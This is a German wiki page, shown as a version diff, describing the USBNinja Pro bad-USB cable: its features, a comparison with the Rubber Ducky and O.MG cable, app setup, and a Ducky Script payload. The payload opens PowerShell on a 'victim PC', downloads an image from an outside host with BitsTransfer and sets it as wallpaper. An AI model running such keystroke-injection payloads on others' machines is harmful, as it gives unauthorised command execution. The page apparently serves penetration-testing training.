USBNinja Pro: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(30 dazwischenliegende Versionen von 2 Benutzern werden nicht angezeigt)
Zeile 1: Zeile 1:
−
==USB Ninja==
+
=USB Ninja Pro=
 
[[Datei:Type-c-ps1.png|500px]]
 
[[Datei:Type-c-ps1.png|500px]]
  
−
==Bad-USB Features im Vergleich ==
+
=Was kann das Teil=
 +
*Durch ein App gesteuert, kann das USB-Kabel Tastenkombinationen an den angeschlossenen PC schicken.
 +
*Mögliche Ausführung des "Payload" beim Einstecken.
 +
*Oder mögliche Ausführung des "Payload" durch BlueTooth (Smartphones) getriggert.
 +
*Als Programmiersprache wird Ducky Script verwendet.
 +
*Self Destruction: Löschen aller Daten und versetzung in DFU Mode
 +
 
 +
=Bad-USB Features im Vergleich=
 
{| class="wikitable"
 
{| class="wikitable"
 
| || Rubber Ducky || USBNinja || O.MG Cable || USBNinja PRO
 
| || Rubber Ducky || USBNinja || O.MG Cable || USBNinja PRO
Zeile 48: Zeile 55:
  
  
−
==Install==
+
=Install=
−
*Passende App herunterladen
+
*USB herunterladen
−
===Windows===
+
==Android==
−
*Ohne Fehrnbedienung nicht nutzbar
+
[[Datei:Usb-ninja-1.png|300px]]
−
*Windows Treiber
+
*Android (Google Playstore)
−
https://github.com/USBNinjaRRG/USBNinjaProfessional/blob/master/USBninja_Transmiter_driver.rar
 
−
*Windows Exe
 
−
https://github.com/USBNinjaRRG/USBNinjaProfessional/blob/master/USBNinja%20PRO.exe
 
−
===IOS===
 
−
*[[IOS App (App Store)]]
 
−
https://apps.apple.com/us/app/usbninja-professional/id1513603047
 
−
===Android===
 
−
*[[Android (Google Playstore)]]
 
 
  https://play.google.com/store/apps/details?id=com.rrg.usbninja
 
  https://play.google.com/store/apps/details?id=com.rrg.usbninja
  
−
==Usage==
+
==Weitere Apps==
 +
*[[Weitere Apps USB-ninja-pro]]
 +
 
 +
=App=
 +
[[Datei:Usb-ninja-2.png|300px]]
 +
 
 +
=Usage=
 +
*[[USB-Ninja-pro-Usage]]
 +
=Beispiel=
 
*Usb-Kabel einstecken
 
*Usb-Kabel einstecken
 
*App öffnen
 
*App öffnen
−
**Auto Connect
+
*Help
−
***Options
+
*Hotdog Wallpaper
−
****BLE Settings
+
*OK
−
****USB SWITCH Settings
+
*Upload
−
****HID Settings
+
=Payloads=
−
****USB FLASH DISK Settings
+
-Wichtig Payloads werden im Englischen Tasterturlayout ausgeführt und müssen daher zuerst "übersetzt" werden
−
****FIRMWARE Settings
+
==Payload Hotdog Wallpaper auf Deutsch Tastatur angepasst ==
−
***Remote
 
−
****Manuelle Tastertureingaben
 
−
***Help
 
−
****Verschiedene Payloads zum Heruterladen
 
−
***Start
 
−
****Startet den Payload
 
−
***Filelist
 
−
****List aller Dateien auf dem USB-Kabel
 
−
***Save
 
−
****Speichert aktuellen Payload als Datei
 
−
***Download
 
−
****Läd den aktuell Vorhandenen Payload in die App
 
−
***Upload
 
−
****Läd den Payload von der App auf das USB Kabel
 
−
 
 
−
===Payload Beispiel===
 
 
<pre>
 
<pre>
 
DELAY 3000
 
DELAY 3000
 
GUI r
 
GUI r
 
DELAY 100
 
DELAY 100
−
STRING iexplore http://s3.amazonaws.com/rapgenius/hotdog.jpg
+
STRING powershell
 
ENTER
 
ENTER
−
DELAY 2000
+
DELAY 6000
−
ALT f
+
STRING cd .&&Pictures
−
DELAY 100
+
ENTER
−
STRING a
+
DELAY 1000
−
DELAY 100
+
STRING Start/BitsTransfer http>&&s3.amayonaws.com&rapgenius&hotdog.jpg hotdog.jpg
−
STRING %USERPROFILE%\hotdog.jpg
+
ENTER
−
DELAY 100
+
DELAY 10000
 +
STRING mspaint.exe .&&hotdog.jpg
 
ENTER
 
ENTER
−
DELAY 100
+
DELAY 6000
−
CONTROL w
+
ALT d
−
DELAY 100
+
DELAY 10000
−
CONTROL ESCAPE
+
TAB
−
DELAY 100
+
TAB
−
STRING paint
+
TAB
−
DELAY 100
+
TAB
 +
TAB
 +
TAB
 +
TAB
 
ENTER
 
ENTER
−
DELAY 500
 
−
CONTROL o
 
−
DELAY 100
 
−
STRING %USERPROFILE%\hotdog.jpg
 
 
ENTER
 
ENTER
−
DELAY 300
 
−
ALT f
 
−
DELAY 100
 
−
STRING k
 
−
DELAY 100
 
−
STRING f
 
−
DELAY 300
 
−
ALT f
 
−
DELAY 100
 
−
STRING x
 
 
</pre>
 
</pre>
 +
*upload
 +
*USBNinja in Opfer PC stecken
 +
*App schliessen + Neuverbinden
 +
*Start um Ducky Script zu triggern
  
 
==Links==
 
==Links==
 
*https://github.com/USBNinjaRRG/USBNinjaProfessional
 
*https://github.com/USBNinjaRRG/USBNinjaProfessional

Aktuelle Version vom 19. März 2023, 18:17 Uhr

USB Ninja Pro

Type-c-ps1.png

Was kann das Teil

  • Durch ein App gesteuert, kann das USB-Kabel Tastenkombinationen an den angeschlossenen PC schicken.
  • Mögliche Ausführung des "Payload" beim Einstecken.
  • Oder mögliche Ausführung des "Payload" durch BlueTooth (Smartphones) getriggert.
  • Als Programmiersprache wird Ducky Script verwendet.
  • Self Destruction: Löschen aller Daten und versetzung in DFU Mode

Bad-USB Features im Vergleich

Rubber Ducky USBNinja O.MG Cable USBNinja PRO
Platform TXT file Arduino IDE Web Oberfläche APP on IOS&Android
Language Ducky Script Arduino C Ducky Script Ducky Script
Payload size TF card 5Kb 50K 20Kb*8Slot
Standby current 30mA 10mA 65mA 0.3mA
Wireless distance × 50m(BLE4.0) 50m(Wifi) 100M(BLE5.0)
Hidden in cable × √ √ √
Payload on the air × × √ √
Real-time keyboard × × √ √
Self destruction × × √ √
USB cable data transfer × √ × √
QC3.0 20V Compatible × √ × √
VIDPID quick change × × × √
USB 2.0 Full-speed × × × √
Super fast input text × × × √
Virtual U disk mount × × × √
Caps lock auto detect × × × √
One time auto run × × × √
OTA firmware upgrade × × × √
DIY module × × × √
Long distance remote × √ × √


Install

  • USB herunterladen

Android

Usb-ninja-1.png

  • Android (Google Playstore)
https://play.google.com/store/apps/details?id=com.rrg.usbninja

Weitere Apps

App

Usb-ninja-2.png

Usage

Beispiel

  • Usb-Kabel einstecken
  • App öffnen
  • Help
  • Hotdog Wallpaper
  • OK
  • Upload

Payloads

-Wichtig Payloads werden im Englischen Tasterturlayout ausgeführt und müssen daher zuerst "übersetzt" werden

Payload Hotdog Wallpaper auf Deutsch Tastatur angepasst

DELAY 3000
GUI r
DELAY 100
STRING powershell
ENTER
DELAY 6000
STRING cd .&&Pictures
ENTER
DELAY 1000
STRING Start/BitsTransfer http>&&s3.amayonaws.com&rapgenius&hotdog.jpg hotdog.jpg
ENTER
DELAY 10000
STRING mspaint.exe .&&hotdog.jpg
ENTER
DELAY 6000
ALT d
DELAY 10000
TAB
TAB
TAB
TAB
TAB
TAB
TAB
ENTER
ENTER
  • upload
  • USBNinja in Opfer PC stecken
  • App schliessen + Neuverbinden
  • Start um Ducky Script zu triggern

Links